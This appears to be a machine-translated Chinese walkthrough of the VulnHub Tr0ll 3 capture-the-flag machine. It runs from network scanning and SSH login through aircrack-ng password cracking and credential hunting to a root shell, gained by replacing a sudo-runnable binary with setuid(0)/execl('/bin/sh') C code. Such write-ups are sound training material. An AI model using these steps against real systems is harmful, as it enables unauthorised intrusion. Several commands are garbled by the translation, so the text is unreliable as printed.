网工干货知识

超全学习笔记
当前位置:首页 > 干货知识

Tr0ll 3 CTF挑战的解析:从网络扫描到root权限获取

更新时间:2026年03月27日   作者:spoto   标签(Tag):

那个CTF or 检查旗帜的状态该问题已发布在 vulnhub.com 上。VulnHub这是一个为易受攻击的应用程序/机器提供实践操作机会的平台,帮助它们在信息安全领域获得实际的操作经验。Tr0ll 3是vulnhub平台上的一个机器。如需下载,请访问:

Troll 3 Machine – Vulnhub 下面是关于Vulnhub和Troll 3的详细操作步骤:

逐步操作指南

步骤1:在网络中找到目标机器

首先,我们需要找到本地网络中Tr0ll 3机器的IP地址。请使用相应的命令来查询该IP地址。netdiscover -i(接口名称)-r(IP地址/16位)

例如:

netdiscover -i eth0 -r 10.0.2.0/16
  • -i eth0请使用您的以太网/无线接口。
  • -r 10.0.2.0/16请扫描这个IP地址范围。

步骤2:使用Nmap对目标进行扫描

之后通过查找目标机器的IP地址,可以得知该机器上开放的端口以及相关的服务。因此,可以使用nmap工具来扫描所有端口。

示例:

nmap -p- -A -O -T 4 地址

经过Nmap扫描后,结果显示只有端口22(SSH)是开放的。当我们打开目标机器后,发现那里有登录凭据(起始位置:此处)。

步骤3:通过SSH方式登录

使用命令ssh start@IP地址请按“Enter”键,然后输入密码,这样我们就能访问该机器的Shell了。

ssh start@10.0.2.10

我们已经进去了。是时候寻找一些有用的东西了。开始吧。ls命令我们查看了其中的内容,发现有两个名为“redpill”和“bluepill”的文件,但这些文件里并没有任何有用的信息。

步骤4:寻找可访问的文件

在这一步中,我们需要找到那些具有完全权限的文件。因此,请使用以下命令:

查找 / -type f -perm 777 2>/dev/null

在这里,我们找到了那些关键的文件,其中包括:

  • gold_star.txt这是包含密码的文件。
  • wytshadow.cap此外,我们还可以找到名为“.cap”的文件,该文件实际上是一个无线网络捕获文件。

请使用以下命令,将文件从远程主机复制到我们的机器上。

scp start@IP地址:文件路径./home/Kali/

步骤5:分析无线捕获文件

在之前的研究中,我们发现了一些……wytshadow.cap现在,我们来分析一下如何从这些文件中提取出密码。.cap文件。

行动1:

使用/运用aircrack-ng破解密码的方法:

aircrack-ng wytshadow.cap – w gold-star.txt

用户的密码wytshadow被揭露了

行动2:

因为该用户的密码已经知道,所以需要将该用户切换出去。

ssh wytshadow@10.0.2.10

请输入我们在运行 ssh 命令后之前操作中所找到的密码。

步骤6:利用SUID权限进行攻击

在这一步中,我们利用被错误配置的文件权限来实现权限提升。

行动1:

查找带有SUID位的文件:

执行命令:`find / -perm -4000 2>/dev/null`

在这里,我们找到了关键的文件:File:哦,有趣啊(可以使用 SUID 模式执行)。

行动2:

请检查您是否具有“sudo”权限:

sudo -l

你可以开始使用了。Nginx Web服务器作为根节点。

步骤7:通过操作Nginx来操控认证信息

在这里,我们需要通过Web服务器来获取那些隐藏的访问凭证。

行动1:

启动 Nginx:

sudo service nginx start

行动2:

通过以下方式访问服务器:猞猁(基于文本的浏览器)

lynx http://10.0.2.10:8080

之后,我们找到了该用户的新凭证信息。Genphlux已经找到了。

步骤8:获取根访问权限

因此,在这一步中,我们需要获得目标机器的root访问权限。

行动1:

使用 SSH 工具,以给定的凭据登录。

SSHGenphlux@10.0.2.10

行动2:

之后,我们需要分析其中的文件。现在开始操作吧。 ls我们拥有控制权,而且还有相关文件。马莱乌斯还有xlogin。Maleus似乎挺有趣的。让我们来详细了解一下这个文件吧。我们发现,该文件中存储了一个RSA密钥,而xlogin则是一个简单的HTML文档文件。请将私钥复制出来,并保存到一个权限为600的文件里(我将其命名为ssh-key)。此外,还有一份ELF格式的64位可执行文件。不用费心了该文件拥有完整的权限。当我们尝试执行这个文件时,需要输入密码才能执行,而我们现在还没有这个密码。

现在,登录后就可以使用了。Genphlux用户可以使用以下命令:

ls -lah

使用这个命令之后,我们就会看到…….viminfo要打开该文件,请使用以下命令:

.viminfo

还获得了另一项资格证书。(B^slc8I$)这是密码。马莱乌斯用户需要使用用户名和密码通过 SSH 登录。然后,运行以下命令以检查 root 权限的情况。马莱乌斯用户

sudo -l

而且,我们可以运行它们。甚至不必考虑这件事了。以男性用户“maleus”的身份进行文件操作。

步骤9:分析可执行文件

在这里,我们分析了don’t_even_bother这个文件。请运行该文件吧。

./别费心了

在运行该程序之后,系统会要求输入密码。但由于我们没有密码,因此我们需要通过插入恶意代码来绕过这一步骤。

步骤10:注入恶意代码

在这里,我们用一段代码来替代原来的可执行文件,这段代码能够让程序拥有root权限。所以,我们首先要做的是:

行动1删除原始内容(如果可以写入的话)。

echo >> dont_even_bother.c

行动2将漏洞利用代码写入其中。别费心了。/不用再操心了。:

#include <unistd.h>
int main() {
setgid(0); // 将组ID设置为root(0)
setuid(0); // 将用户ID设置为root(0)
execl("/bin/sh", "sh", NULL); // 启动shell界面
返回 0;
}
  • setgid(0) + setuid(0)将特权提升为root级别。
  • 执行命令:“/bin/sh”, ……生成一个具有root权限的shell。

步骤11:编译该漏洞利用程序

现在,我们必须将C代码编译成可执行的文件。我们可以使用gcc编译器来编译这个文件。“gcc dont_even_bother.c –o dont_even_bother”

gcc dont_even_bother.c –o dont_even_bother

步骤12:以root身份执行操作

现在我们可以运行它们。不用管了/不必再操心了以sudo用户身份运行它吧。那么,让我们开始执行吧。

sudo /usr/local/bin/dont_even_bother

现在开始输入吧。cd /root然后ls查看内容

为什么这种方法会有效呢?

  • SUID利用:那个别费心了文件的root权限允许您以root身份执行代码。
  • 密码破解弱密码在…中gold_star.txt这使得解密过程变得容易多了。
  • 服务配置错误/设置不当Nginx的sudo权限使得其能够访问用户的认证信息。

结论

通过完成 VulnHub 上的 Tr0ll 3 CTF 任务,您实际上已经经历了一个完整的渗透测试过程——从扫描、文件分析、SSH暴力破解,到利用 SUID 二进制文件进行权限提升,以及利用配置错误的服务来实施攻击。这个示例说明了解 Linux 的内部结构、文件权限以及薄弱的凭据处理机制在网络安全中为何非常重要。

这个挑战也说明了,系统中哪怕是很小的配置错误,比如过于宽松的 SUID 权限设置,或者.viminfo 文件中暴露的密码等,都可能导致系统完全被root账户控制。无论您是准备参加OSCP考试,还是刚刚开始学习道德黑客技术,Tr0ll 3都能让您亲身体验到Linux系统中的权限提升、SSH访问控制以及基本的二进制攻击方法。

              马上抢免费试听资格
意向课程:*必选
姓名:*必填
联系方式:*必填
QQ:
思博SPOTO在线咨询

相关资讯

即刻预约

免费试听-咨询课程-获取免费资料